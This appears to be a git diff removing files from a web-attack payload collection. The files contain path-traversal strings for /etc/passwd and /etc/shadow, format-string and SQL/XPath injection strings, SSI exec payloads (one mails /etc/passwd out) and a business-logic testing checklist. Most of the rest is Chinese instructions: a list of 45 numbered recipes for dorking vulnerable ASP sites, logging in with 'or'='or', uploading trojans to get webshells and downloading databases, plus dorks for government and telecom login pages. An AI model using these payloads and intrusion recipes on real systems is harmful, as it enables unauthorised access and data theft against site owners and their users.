||||
../../../../../../../../../../../../etc/shadow%00
|
||||
../../../../../../../../../../../../etc/shadow
|
||||
/../../../../../../../../../../etc/passwd^^
|
||||
/../../../../../../../../../../etc/shadow^^
|
||||
/../../../../../../../../../../etc/passwd
|
||||
/../../../../../../../../../../etc/shadow
|
||||
/./././././././././././etc/passwd
|
||||
/./././././././././././etc/shadow
|
||||
\..\..\..\..\..\..\..\..\..\..\etc\passwd
|
||||
\..\..\..\..\..\..\..\..\..\..\etc\shadow
|
||||
..\..\..\..\..\..\..\..\..\..\etc\passwd
|
||||
..\..\..\..\..\..\..\..\..\..\etc\shadow
|
||||
/..\../..\../..\../..\../..\../..\../etc/passwd
|
||||
/..\../..\../..\../..\../..\../..\../etc/shadow
|
||||
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
|
||||
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
|
||||
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
|
||||
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
|
||||
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
|
||||
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
|
||||
%0a/bin/cat%20/etc/passwd
|
||||
%0a/bin/cat%20/etc/shadow
|
||||
%00/etc/passwd%00
|
||||
%00/etc/shadow%00
|
||||
%00../../../../../../etc/passwd
|
||||
%00../../../../../../etc/shadow
|
||||
/../../../../../../../../../../../etc/passwd%00.jpg
|
||||
/../../../../../../../../../../../etc/passwd%00.html
|
||||
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
|
||||
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
|
||||
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
|
||||
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
|
||||
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%
|
||||
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
|
||||
\\'/bin/cat%20/etc/passwd\\'
|
||||
\\'/bin/cat%20/etc/shadow\\'
|
||||
../../../../../../../../conf/server.xml
|
||||
/../../../../../../../../bin/id|
|
||||
C:/inetpub/wwwroot/global.asa
|
||||
C:\inetpub\wwwroot\global.asa
|
||||
C:/boot.ini
|
||||
C:\boot.ini
|
||||
../../../../../../../../../../../../localstart.asp%00
|
||||
../../../../../../../../../../../../localstart.asp
|
||||
../../../../../../../../../../../../boot.ini%00
|
||||
../../../../../../../../../../../../boot.ini
|
||||
/./././././././././././boot.ini
|
||||
/../../../../../../../../../../../boot.ini%00
|
||||
/../../../../../../../../../../../boot.ini
|
||||
/..\../..\../..\../..\../..\../..\../boot.ini
|
||||
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
|
||||
\..\..\..\..\..\..\..\..\..\..\boot.ini
|
||||
..\..\..\..\..\..\..\..\..\..\boot.ini%00
|
||||
..\..\..\..\..\..\..\..\..\..\boot.ini
|
||||
/../../../../../../../../../../../boot.ini%00.html
|
||||
/../../../../../../../../../../../boot.ini%00.jpg
|
||||
/.../.../.../.../.../
|
||||
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -1,28 +0,0 @@
|
|||
%s%p%x%d
|
||||
.1024d
|
||||
%.2049d
|
||||
%p%p%p%p
|
||||
%x%x%x%x
|
||||
%d%d%d%d
|
||||
%s%s%s%s
|
||||
%99999999999s
|
||||
%08x
|
||||
%%20d
|
||||
%%20n
|
||||
%%20x
|
||||
%%20s
|
||||
%s%s%s%s%s%s%s%s%s%s
|
||||
%p%p%p%p%p%p%p%p%p%p
|
||||
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%
|
||||
f(x)=%s x 123
|
||||
f(x)=%x x 255
|
||||
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
|
||||
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
|
||||
XXXXX.%p
|
||||
XXXXX`perl -e 'print ".%p" x 80'`
|
||||
`perl -e 'print ".%p" x 80'`%n
|
||||
%08x.%08x.%08x.%08x.%08x\n
|
||||
XXX0_%08x.%08x.%08x.%08x.%08x\n
|
||||
%.16705u%2\$hn
|
||||
\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id > /tmp/file; exit;
|
||||
|
|
@ -1,66 +0,0 @@
|
|||
业务安全TOP 10
|
||||
1 身份认证安全
|
||||
1 暴力破解--Burpsuite、htpwdScan、hydra
|
||||
2 cookie&session--cookie仿冒、会话固定攻击
|
||||
3 加密测试--弱加密、HTTP、
|
||||
2 业务一致性安全
|
||||
1 手机号篡改--抓包修改手机号码参数为其他号码尝试
|
||||
2 邮箱和用户名更改--抓包修改用户或者邮箱参数为其他用户或者邮箱
|
||||
3 订单ID更改--查看自己的订单id，增删修改id，查看是否能查看其它订单信息。
|
||||
4 商品编号更改--例如积分兑换处，100个积分只能换商品编号为001,1000个积分只能换商品编号005，在100积分换商品的时候抓包把换商品的编号修改为005，用低积分换区高积分商品。
|
||||
5 用户ID篡改--抓包查看自己的用户id，然后增删id，查看是否能查看其它用户id信息。
|
||||
3 业务数据篡改
|
||||
1 金额数据篡改--抓包修改金额等字段，例如在支付页面抓取请求中商品的金额字段，修改成任意数额的金额并提交，查看能否以修改后的金额数据完成业务流程
|
||||
2 商品数量篡改--抓包修改商品数量等字段，将请求中的商品数量修改成任意数额，如负数并提交，查看能否以修改后的数量完成业务流程
|
||||
3 最大数限制突破--很多商品限制用户购买数量时，服务器仅在页面通过js脚本限制，未在服务器端校验用户提交的数量，通过抓包修改商品最大数限制，将请求中的商品数量改为大于最大数限制的值，查看能否以修改后的数量完成业务流程。
|
||||
4 本地JS参数修改--部分应用程序通过Javascript处理用户提交的请求，通过修改Javascript脚本，测试修改后的数据是否影响到用户。
|
||||
4 用户输入合规性
|
||||
1 注入
|
||||
2 XSS
|
||||
3 FUZZ--功能测试用的多一些，有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失
|
||||
4 其他用用户输入交互的应用漏洞
|
||||
5 密码找回漏洞
|
||||
--http://drops.wooyun.org/web/5048
|
||||
正常访问，不同的找回方式，记录
|
||||
分析数据包，定位敏感信息
|
||||
分析找回机制
|
||||
修改数据包验证
|
||||
6 验证码突破
|
||||
1 暴力破解--使用burp对特定的验证码进行暴力破解
|
||||
2 时间、次数突破--抓取携带验证码的数据包不断重复提交，例如：在投诉建议处输入要投诉的内容信息，及验证码参数，此时抓包重复提交数据包，查看历史投诉中是否存在重复提交的参数信
|
||||
3 验证码客户端回显测试--当客户端有需要和服务器进行交互，发送验证码时，即可使用firefox按F12调出firebug就可看到客户端与服务器进行交互的详细信息
|
||||
4 验证码绕过测试--当第一步向第二步跳转时，抓取数据包，对验证码进行篡改清空测试，验证该步骤验证码是否可以绕过
|
||||
5 验证码js绕过--短信验证码验证程序逻辑存在缺陷，业务流程的第一步、第二部、第三步都是放在同一个页面里，验证第一步验证码是通过js来判断的，可以修改验证码在没有获取验证码的情况下可以填写实名信息，并且提交成功。
|
||||
7 业务授权安全
|
||||
1 未授权访问 --非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后，将相关的页面链接复制于其他浏览器或其他电脑上进行访问，看是否能访问成功。
|
||||
2 越权测试--垂直越权、水平越权、http://drops.wooyun.org/tips/727
|
||||
8 业务流程乱序
|
||||
1顺序执行缺陷--部分网站逻辑可能是先A过程后B过程然后C过程最后D过程
|
||||
--用户控制着他们给应用程序发送的每一个请求，因此能够按照任何顺序进行访问。于是，用户就从B直接进入了D过程，就绕过了C。如果C是支付过程，那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程，就会绕过验证直接进入网站程序了。
|
||||
9 业务接口调用
|
||||
1 重放攻击--在短信、邮件调用业务或生成业务数据环节中（类：短信验证码，邮件验证码，订单生成，评论提交等），对其业务环节进行调用（重放）测试。如果业务经过调用（重放）后被多次生成有效的业务或数据结果
|
||||
--恶意注册、短信炸弹--在测试的过程中，我们发现众多的金融交易平台仅在前端通过JS校验时间来控制短信发送按钮，但后台并未对发送做任何限制，导致可通过重放包的方式大量发送恶意短信
|
||||
2 内容编辑
|
||||
10 时效绕过测试
|
||||
1 时间刷新缺陷--12306网站的买票业务是每隔5s，票会刷新一次。但是这个时间确实在本地设置的间隔。于是，在控制台就可以将这个时间的关联变量重新设置成1s或者更小，这样刷新的时间就会大幅度缩短（主要更改autoSearchTime本地参数）
|
||||
2 时间范围测试--针对某些带有时间限制的业务，修改其时间限制范围，例如在某项时间限制范围内查询的业务，修改含有时间明文字段的请求并提交，查看能否绕过时间限制完成业务流程。例如通过更改查询手机网厅的受理记录的month范围，可以突破默认只能查询六个月的记录。
|
||||
|
||||
|
||||
应用程序逻辑错误总结 http://drops.wooyun.org/papers/1418
|
||||
|
||||
密码找回功能可能存在的问题 http://drops.wooyun.org/papers/287
|
||||
|
||||
密码找回功能可能存在的问题（补充） http://drops.wooyun.org/web/3295
|
||||
|
||||
密码找回逻辑漏洞总结 http://drops.wooyun.org/web/5048
|
||||
|
||||
支付漏洞的三种常见类型——加固方案 http://zone.wooyun.org/content/878
|
||||
|
||||
在线支付逻辑漏洞总结 http://drops.wooyun.org/papers/345
|
||||
|
||||
金融行业平台常见安全漏洞与防御 http://www.freebuf.com/news/special/61082.html
|
||||
|
||||
我的越权之道 http://drops.wooyun.org/tips/727
|
||||
|
||||
安全科普：看视频理解Web应用安全漏洞TOP10 http://www.freebuf.com/vuls/63426.html
|
||||
|
||||
|
|
@ -1,240 +0,0 @@
|
|||
#gain－webshell
|
||||
|
||||
1中国黑客部教程，首先到GoogLe,搜索一些关键字,edit.asp? 韩国肉鸡为多,多数为MSSQL数据库!
|
||||
|
||||
2到Google ,site:cq.cn inurl:asp
|
||||
|
||||
3,利用挖掘鸡和一个ASP木马.
|
||||
文件名是login.asp
|
||||
路径组是/manage/
|
||||
关键词是went.asp
|
||||
用'or'='or'来登陆
|
||||
|
||||
4,关键字：Co Net MIB Ver 1.0网站后台管理系统
|
||||
帐号密码为 'or'='or'
|
||||
|
||||
5.动感购物系统
|
||||
inurl:help.asp登陆，如未注册成为会员!
|
||||
|
||||
upLoad_bm1.asp和upLoad_c1.asp这两个随便选个，一般管理员都忽视了这2漏洞
|
||||
|
||||
|
||||
6。默认数据库地址blogdata/acblog.asa
|
||||
关键字：acblog
|
||||
|
||||
7.百度 /htdocs
|
||||
注册里可以直接上传asa文件！
|
||||
|
||||
|
||||
8./Database/#newasp.mdb
|
||||
关键词：NewAsp SiteManageSystem Version
|
||||
|
||||
|
||||
9.用挖掘机
|
||||
关键字：Powered by WEBBOY
|
||||
页面：/upfile.asp
|
||||
|
||||
10.baidu中搜索关键字Ver5.0 Build 0519
|
||||
(存在上传漏洞)
|
||||
|
||||
11.Upfile_Article.asp bbs/upfile.asp
|
||||
输入关键字：powered by mypower ，
|
||||
|
||||
12.inurl:winnt\system32\inetsrv\ 在google里面输入这个就可以找到很多网站
|
||||
|
||||
13.现在GOOGLE搜索关键字 intitle:网站小助手 inurl:asp
|
||||
|
||||
14.键字： 首页 最新动态 新手指南 舞曲音乐 下载中心 经典文章 玩家风采 装备购买 站内流言 友情连接 本站论坛
|
||||
|
||||
挖掘鸡的关键字 添 setup.asp
|
||||
|
||||
15.VBulletin论坛的数据库
|
||||
默认数据库地址!
|
||||
/includes/functions.php
|
||||
工具:
|
||||
1.网站猎手 下载地址:百度 Google!
|
||||
2.Google
|
||||
关键字:
|
||||
Powered by: vBulletin Version 3.0.1
|
||||
Powered by: vBulletin Version 3.0.2
|
||||
Powered by: vBulletin Version 3.0.3
|
||||
其中一个就可以了
|
||||
|
||||
16.shopping cart
|
||||
1.打开百度或GOOGLE搜索，输入powered by comersus ASP shopping cart
|
||||
open source。 这是一个商场系统。
|
||||
2.网站的最底部分，有个 Comersus Open Technologies LC。打开看下~~comersus系统~
|
||||
猜到,comersus.mdb. 是数据库名
|
||||
数据库都是放在database/ 后的,
|
||||
所以database/comersus.mdb
|
||||
comersus_listCategoriesTree.asp换成database/comersus.mdb，不能下载。
|
||||
那样把前一个''store/''除去，再加上database/comersus.mdb 试试
|
||||
|
||||
17.无忧传奇官方站点程序。
|
||||
1、后台管理地址：http://您的域名/msmiradmin/
|
||||
2、默认后台管理帐号：msmir
|
||||
3、默认后台管理密码：msmirmsmir
|
||||
数据库文件为 http://您的域名/msmirdata/msmirArticle.mdb
|
||||
数据库连接文件为 ***********/Conn.asp
|
||||
|
||||
18.百度里输入/skins/default/
|
||||
|
||||
19.利用挖掘机
|
||||
关键机:power by Discuz
|
||||
路径:/wish.php
|
||||
配合:
|
||||
Discuz!论坛 wish.php远程包含漏洞 工具使用
|
||||
|
||||
20.上传漏洞.
|
||||
工具 : Domain3.5
|
||||
网站猎手 1.5版
|
||||
关键字powered by mypower
|
||||
检测的页面或文件插入upfile_photo.asp
|
||||
|
||||
|
||||
21.新云漏洞
|
||||
这个漏洞ACCESS和SQL版通吃。
|
||||
Google搜索关键字 "关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 管理登录"
|
||||
把flash/downfile.asp?url=uploadfile/../../conn.asp提交到网站根目录。就可以下载conn.asp
|
||||
以源码，软件等下载站居多。
|
||||
大家时常碰到数据库如果前面或者中间+了# 可以用%23替换就可以下载了
|
||||
\database\%23newasp.mdb
|
||||
如：#xzws.mdb 改成%23xzws.mdb
|
||||
|
||||
22.通吃所有商城+动力上传系统
|
||||
|
||||
使用工具:挖掘鸡 v1.1 明小子
|
||||
商城入侵:
|
||||
关键字:选购->加入购物车->去收银台->确认收货人信息->选付款方式->选配送方式->在线支付或下单后汇款->汇款确认->发货->完成
|
||||
漏洞页面:upload.asp
|
||||
upfile_flash.asp
|
||||
|
||||
动力入侵:
|
||||
关键字:powered by mypower
|
||||
漏洞页面:upfile_photo.asp
|
||||
Upfile_Soft.asp
|
||||
upfile_adpic.asp
|
||||
upfile_softpic.asp
|
||||
|
||||
23.注射漏洞
|
||||
百度搜索ioj's blog
|
||||
|
||||
24动易
|
||||
列目录
|
||||
admin_articlerecyclebin.asp
|
||||
inurl:admin_articlerecyclebin.asp
|
||||
|
||||
25.manage/login
|
||||
工具:网站猎手
|
||||
关键词:inurl:Went.asp
|
||||
后缀:manage/login.asp
|
||||
口令:'or'='or'
|
||||
|
||||
26.入侵魔兽私服
|
||||
需要的工具：ASP木马一只。
|
||||
Domain3.5明小子
|
||||
关键字：All Right Reserved Design:游戏联盟
|
||||
后台地址：admin/login.asp
|
||||
数据库的地址：chngame/#chngame.mdb
|
||||
|
||||
27.漏洞是利用管理员iis设置的失误
|
||||
用baidu 关键字就是比较罕见的脚本名
|
||||
动网: ReloadForumCache.asp
|
||||
Leadbbs: makealltopanc.asp
|
||||
BBSXP: admin_fso.asp
|
||||
动易: admin_articlerecyclebin.asp
|
||||
|
||||
28.国外站的爆库漏洞
|
||||
关键字：sad Raven's Guestbook
|
||||
密码地址:/passwd.dat
|
||||
后台地址:/admin.php
|
||||
|
||||
29.Discuz 4.1.0跨站漏洞
|
||||
利用工具:1,WAP浏览器
|
||||
2,WAP编码转换器
|
||||
关键字:"intextiscuz! 4.1.0"
|
||||
|
||||
30.关键字：尚奈克斯
|
||||
后台路径/system/manage.asp
|
||||
直接传ASP木马
|
||||
|
||||
31.工具
|
||||
1:网站猎手
|
||||
2:大马一个
|
||||
关键字:切勿关闭Cookies功能，否则您将不能登录
|
||||
插入diy.asp
|
||||
|
||||
32.
|
||||
关键字:Team5 Studio All rights reserved
|
||||
默认数据库:data/team.mdb
|
||||
|
||||
33.
|
||||
工具: 挖掘机 辅臣数据库读取器
|
||||
关键字: 企业简介 产品展示 产品列表
|
||||
后缀添加: /database/myszw.mdb
|
||||
后台地址: admin/Login.asp
|
||||
|
||||
34.
|
||||
关键子 XXX inurl:Nclass.asp
|
||||
在"系统设置"里写个木马。
|
||||
会被保存到 在 config.asp内。
|
||||
|
||||
35.
|
||||
不进后台照样拿动网WEBSHELL
|
||||
data.asp?action=BackupData 动网数据库备份默认路径
|
||||
|
||||
36.
|
||||
工具:网站猎手 WebShell
|
||||
关键字:inurl:Went.asp
|
||||
后缀:manage/login.asp
|
||||
弱口令:'or'='or'
|
||||
|
||||
37.
|
||||
关键字owered byCDN_NEWS
|
||||
随便扫遍文章加一个' ,来试探注入点
|
||||
后台地址:admin_index.asp
|
||||
|
||||
38.
|
||||
入侵雷池新闻发布系统
|
||||
关键字:leichinews
|
||||
去掉leichinews后面的.
|
||||
打上:admin/uploadPic.asp?actionType=mod&picName=xuanran.asp
|
||||
再上传马.....
|
||||
进访问uppic anran.asp 登陆马.
|
||||
|
||||
39.
|
||||
关键字ower System Of Article Management Ver 3.0 Build 20030628
|
||||
默认数据库:database\yiuwekdsodksldfslwifds.mdb
|
||||
后台地址:自己扫描!
|
||||
|
||||
40.
|
||||
一、通过GOOGLE搜索找大量注入点
|
||||
关键字：asp?id=1 gov.jp/ asp?id=
|
||||
页数：100
|
||||
语言：想入侵哪个国家就填什么语言吧
|
||||
|
||||
41.
|
||||
关键字：Powered by:94KKBBS 2005
|
||||
利用密码找回功能 找回admin
|
||||
提问:ddddd 回答:ddddd
|
||||
|
||||
42.
|
||||
关键字:inurl:Went.asp
|
||||
后台为manage/login.asp
|
||||
后台密码: 'or'=' 或者 'or''=''or' 登录 进入
|
||||
默认数据库地址atabase/DataShop.mdb
|
||||
|
||||
43.
|
||||
关键字:****** inurl:readnews.asp
|
||||
把最后一个/改成%5c ,直接暴库,看密码,进后台
|
||||
随便添加个新闻 在标题输入我们的一句话木马
|
||||
|
||||
44.
|
||||
工具:一句话木马
|
||||
BBsXp 5.0 sp1 管理员猜解器
|
||||
关键词:powered by bbsxp5.00
|
||||
进后台,备份一句话马!
|
||||
|
||||
45.
|
||||
关键字：程序核心：BJXSHOP网上开店专家
|
||||
后台:/admin
|
||||
|
|
@ -1,29 +0,0 @@
|
|||
0x01 思路如下 ：
|
||||
百度 或者谷歌搜索引擎搜索相关的关键字
|
||||
具体百度搜索语句
|
||||
中国联通 登录 site:.....
|
||||
中国联通 登录 的含义是 页面中包含中国联通 和登录字样的代码的页面。
|
||||
site后面的可以使任意数字 但是一定是0-255之间的数字 。
|
||||
这个语法的大致含义
|
||||
搜索以ip地址作为登陆地址的页面 其中包含“中国联通 登录”代码元素的 的页面
|
||||
联通 可以换成电信 移动 等其他关键字 也可以换成公安
|
||||
|
||||
0x02 报错页面
|
||||
还可以搜索一些报错页面的关键元素：
|
||||
例如： java.lang.Error: weblogic 以及其他的报错信息元素，，，，
|
||||
java.lang.Error: weblogic site:gov.cn 例如这个就是存在的。。。可以推导出很多信息 用的weblogic 还有java应用，接下来的安全测试大路 就开阔的多了。。。。。。。
|
||||
|
||||
java.lang.Error: weblogic site:10010.com 这个更是存在的—_—。。。。。
|
||||
|
||||
0x03 端口搜索
|
||||
|
||||
还可以搜索端口号。。。。
|
||||
例如：:7001 s i t e : g o v .c n
|
||||
|
||||
|
||||
以上搜索到的页面多数都是一些平台的页面 这些页面属于不能在公网上公开浏览的页面。
|
||||
|
||||
以上搜索的地址的 多数都可以进行 burp爆破 或者弱口令爆破 以及weblogic爆破 tomcat爆破 以及一些具备匿名访问的权限的页面
|
||||
如进行端口扫描 多数开放21 22 443 80 81 1521 7001 5900 5800 3306 8080 8081 等端口
|
||||
开放的服务也多数是一些敏感数据的服务
|
||||
这些地址的c段上的其他地址 多数含有一些网关路由的登陆页面 弱口令泛滥，个别的平台还有st2漏洞 有的存在越权浏览等
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<!--#exec cmd="/bin/ls /" --><br/>
|
||||
<!--#exec cmd="cat /etc/passwd" --><br/>
|
||||
<!--#exec cmd="find / -name *.* -print" --><br/>
|
||||
<!--#exec cmd="mail Florian Roth @4nc4p <mailto:Florian Roth @4nc4p> < cat /etc/passwd" --><br/>
|
||||
|
|
@ -1,26 +0,0 @@
|
|||
%ALLUSERSPROFILE%
|
||||
%APPDATA%
|
||||
%COMPUTERNAME%
|
||||
%COMSPEC%
|
||||
%HOMEDRIVE%
|
||||
%HOMEPATH%
|
||||
%PATH%
|
||||
%PATHEXT%
|
||||
%PROGRAMFILES%
|
||||
%PROMPT%
|
||||
%SYSTEMDRIVE%
|
||||
%SYSTEMROOT%
|
||||
%TEMP%
|
||||
%TMP%
|
||||
%USERNAME%
|
||||
%USERPROFILE%
|
||||
%WINDIR%
|
||||
%DATE%
|
||||
%TIME%
|
||||
%CD%
|
||||
%ERRORLEVEL%
|
||||
%RANDOM%
|
||||
%CommonProgramFiles%
|
||||
%LOCALAPPDATA%
|
||||
%ProgramData%
|
||||
%Public%
|
||||
|
|
@ -1,10 +0,0 @@
|
|||
' or '1'='1
|
||||
' or ''='
|
||||
x' or 1=1 or 'x'='y
|
||||
/
|
||||
//
|
||||
//*
|
||||
*/*
|
||||
@*
|
||||
count(/child::node())
|
||||
x' or name()='username' or 'x'='y
|
||||
Loading…
Reference in New Issue